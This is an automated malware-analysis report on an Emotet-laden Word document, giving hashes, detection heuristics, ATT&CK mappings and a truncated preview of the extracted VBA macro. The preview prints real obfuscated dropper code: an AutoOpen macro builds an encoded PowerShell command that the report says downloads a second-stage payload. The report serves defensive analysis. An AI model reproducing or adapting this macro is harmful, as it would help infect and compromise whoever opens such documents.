Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f70d253b89d41d92…

MALICIOUS

Office (OLE)

95.0 KB Created: 2018-06-20 12:47:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 73485815dde55bbbd58502213de1b0d1 SHA-1: be2ef36f4bd68977ddad3adaa6ebfbfc42dc3d68 SHA-256: f70d253b89d41d92211f95346b82cc475a5a518521e94a1a12d4ac0a9520d51a
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6878566-0. Critical heuristics indicate the presence of VBA macros that utilize the Shell() function, specifically within an AutoOpen macro. The extracted VBA script contains obfuscated code that appears to construct and execute a PowerShell command. This command is likely responsible for downloading and executing a secondary payload, a common tactic for Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6878566-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6878566-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11371 bytes
SHA-256: d020c39749df8551c764172190b0923bfeae4e4b9186f5fe5b6f093d7c4cc66e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OkjLKPmSnznt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mAMYwODSErvVfz"
Function tTHQTAbJQ()
On Error Resume Next
jdBDd = CDate(88208)
EQUWp = 3455
JwFHW = CDate(YWpOOU + Sin(84148 + 43109) * 78550 * CInt(91676))
vhMwI = CByte(BATZz)
aItOp = 97933
aozKB = auMnnu
jvjapGTWD = "OwerSHell  . (" + "(VaRI" + "ABLe '*mDr*').N" + "aMe[" + "3,11,2]-Jo" + "in'')" + " ( ( '13"
MKwkcQ = CDate(19227)
ubHFm = 30746
zUjnGz = CDate(iOLqBU + Sin(80167 + 9989) * 82005 * CInt(86471))
FHwuh = CByte(dpuHHL)
ZpKkzL = 71395
vbbZP = qJNfLA
zdqILja = "U110a9" + "3U68D74}126}74E" + "9N20!9D71}" + "76}94E4D70c75k"
wwkFSO = CDate(76967)
SIVjwm = 73798
aMkSal = CDate(PjQtSQ + Sin(61587 + 96893) * 81261 * CInt(50377))
KLWEI = CByte(PViWaF)
bfsKj = 92935
IHYsl = jRKium
GcTddEKDLz = "67D7" + "6}74E93k9U91N72" + "U71k7" + "7E" + "70U68D18" + "N13D100a" + "99a7" + "4D93k6"
FUwXaK = CDate(91345)
GcmUwq = 83807
zDnWCd = CDate(uiztj + Sin(87669 + 62706) * 801 * CInt(14211))
QwufOF = CByte(XhbFlJ)
GiGwGh = 75087
McwCWh = XiYmC
VLcJfBL = "5c9F20U9N7" + "1F76E94F4N70E" + "75F67a" + "76U74N" + "93a9k122" + "D80c" + "90!93U" + "76a68"
Efswq = CDate(32943)
vBRbd = 16463
YiJPlJ = CDate(sPZZI + Sin(95544 + 94988) * 99053 * CInt(35952))
hZTpuN = CByte(ztdWnw)
DDFnzH = 85073
otupa = UEtfw
wUWlB = "k7a10" + "3N76D93c7c126" + "N76a75F10" + "6a69N64k76" + "!71k93D18F13" + "D67F64" + "}89D99" + "D112F9F2" + "0D9!14}65N9"
NpLriZ = CDate(36489)
RZjlL = 60067
YIhUo = CDate(Infpk + Sin(70291 + 91730) * 33523 * CInt(43526))
zfAaE = CByte(fHzXH)
KZJDJE = 59463
tFuNP = TEVKdU
qpzoD = "3E93F" + "89a19N6" + "D6D69E75a4U" + "79E69a70U"
dwiinZ = CDate(26008)
QSOsm = 46481
Awkmh = CDate(MUzIYQ + Sin(21125 + 33520) * 97239 * CInt(14448))
mXCvS = CByte(wYfFDf)
wjlwEr = 54724
BbTAEf = AAUhG
PMzuKnMO = "70}91D7a74" + "U70c68D6k10" + "8k124" + "F104U104"
mjGiNj = CDate(85329)
FGrBE = 49951
BSfap = CDate(QPivW + Sin(66815 + 52435) * 72955 * CInt(44104))
fOdLzX = CByte(lwtPwT)
JlLlE = 64824
ijViU = dpEoX
auidwscXI = "D9" + "0F113F16F92E1" + "00E6N105a65U9" + "3U93" + "c89D" + "19!6F6a78}94!7"
jopVBB = CDate(21754)
qEjVK = 45119
bEUiB = CDate(LdIBw + Sin(17632 + 72944) * 18699 * CInt(19377))
LTZkCA = CByte(wwiKN)
LjZhX = 41363
UmXvI = Nrqof
wIuqwR = "1F66!95" + "c71k81" + "D94" + "F7F74F7"
tTHQTAbJQ = jvjapGTWD + zdqILja + GcTddEKDLz + VLcJfBL + wUWlB + qpzoD + PMzuKnMO + auidwscXI + wIuqwR
End Function
Function IVwCmwqTp()
On Error Resume Next
dnNupm = CDate(8473)
IjjGjF = 71798
cwOav = CDate(Nlwzo + Sin(41562 + 71175) * 59911 * CInt(73788))
cMEzXi = CByte(BOiPCR)
OFGBaw = 37941
IrQCRr = VRXbTn
FVdILMB = "0E68E6k108" + "E65c30F12" + "6!92D102c90F12" + "4!28D6c1"
YiuzQ = CDate(77672)
sjQiFK = 54442
livjD = CDate(IAPnK + Sin(53145 + 14564) * 41030 * CInt(32381))
GwAYmz = CByte(BDkEt)
jPndhS = 26148
SPuLKi = wAsoL
DWwDBlQwQ = "05" + "N65!93" + "E93a89}19U6F6U9" + "4k94D" + "94k7N68U" + "76k69E70" + "k71c72a74N91a76" + "D72" + "k93U64}70}71c" + "90c7c74!70}"
awfLW = CDate(93430)
GoKEt = 6372
XGtzB = CDate(oawtT + Sin(41631 + 76394) * 93399 * CInt(75279))
adlnH = CByte(chWdz)
UVapW = 72671
XGBEb = ztBIH
NdssiGZmNB = "7N83D72a6a79D" + "122U69" + "}78N9" + "5a" + "108}31N17" + "!6c105U65N93N" + "93F89F19a6E6U94" + "!94N" + "94}" + "7k90k76c77D72U"
HAwtD = CDate(75324)
YfMUEo = 59360
KjPck = CDate(issWZl + Sin(91035 + 72133) * 21418 * CInt(81098))
inDHJG = CByte(XIEVss)
Jjfkc = 36032
wANifF = ALGBfj
cfmik = "93}72}69" + "E89c77" + "c70U71}7" + "6}9" + "1U" + "7U74N70a68c6F12" + "0k1" + "27!12" + "1D112F27c93" + "a6a105U65D93k9"
ZbcMIf = CDate(554)
SHCvBN = 9087
jRGBO = CDate(bDDPX + Sin(74202 + 87728) * 27697 * CInt(71107))
wVwKC = CByte(DZlidj)
YJfQi = 92746
VjwVF = qaICAz
msjpvoiZM = "3F89U19}6U6}" + "94F94F94}7k68E" + "76a92N74U70!7" + "1F93k91k7
... (truncated)